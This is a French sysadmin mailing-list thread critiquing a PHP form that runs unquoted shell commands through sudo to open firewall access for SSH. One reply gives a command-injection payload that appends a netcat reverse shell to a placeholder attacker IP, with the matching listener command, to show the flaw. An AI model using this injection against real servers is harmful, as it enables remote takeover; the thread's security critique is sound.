J'ai jamais dit que cela est parfait, mais je laisse pas un démon dès plus sensible ouvert à tout-va ...
Après ta plein d'autres solutions , comme passer par un VPN temporairement pour accéder a ton serveur et mettre ta règle iptable, ou via un shellinabox, ou un gacamole, ou un wireguard, ou tout combiner ensemble ou...
Bref plein de choses possibles mais pas de sshd direct sur le net.
Le 02/05/2024 à 17:47, Vincent Tondellier via FRsAG a écrit :
Hello,
mod_security ou pas, il n'empêche que ce bout de code est un bon exemple de ce qu'il ne faut surtout pas faire.
Aucune validation des entrées, exécution de commandes a travers un shell et pas de quote des entrées, sudo depuis l'utilisateur www-data ...
https://xkcd.com/327/ version shell
Et la surface d'exposition devient apache + php + sh + sudo + ipset + ssh au lieu d'un ssh bien audité, très peu pour moi.
Vincent
On jeudi 2 mai 2024 17 h 16 min 03 s CEST, Ludovic Levet via FRsAG wrote:
Le minimum que l'on fait pour un serveur web frontal de ce type est de mettre en place le mod_security d'apache avec les customs rules qui vont bien ...
Et d'y ajouter le bon core rule set : https://github.com/coreruleset/coreruleset
J'ai quand même fait l'essai sans le mod_security et ta proposition ne fonctionne pas ...
Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd
Ludo.
Nop, ca marche pas.
Le 02/05/2024 à 06:45, Julien Reitzel a écrit :
Hello,
au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec : ; nc <IP attaquant> 5555 -e /bin/bash
du côté attaquant lancer : $ nc -lvp 5555 ...
Liste de diffusion du %(real_name)s http://www.frsag.org/